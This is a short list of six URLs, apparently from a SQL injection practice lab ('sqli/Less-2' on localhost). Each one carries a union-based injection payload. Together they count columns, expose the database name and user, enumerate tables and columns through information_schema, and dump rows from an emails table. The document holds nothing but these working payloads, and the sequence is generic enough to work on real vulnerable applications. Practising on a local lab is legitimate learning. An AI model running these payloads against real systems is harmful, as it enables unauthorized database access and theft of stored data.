http://localhost/sqli/Less-2/?id=1 order by 1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,2,3%23

http://localhost/sqli/Less-2/?id=-1 union select 1,database(),user()%23

http://localhost/sqli/Less-2/?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,id,email_id from emails limit 0,1%23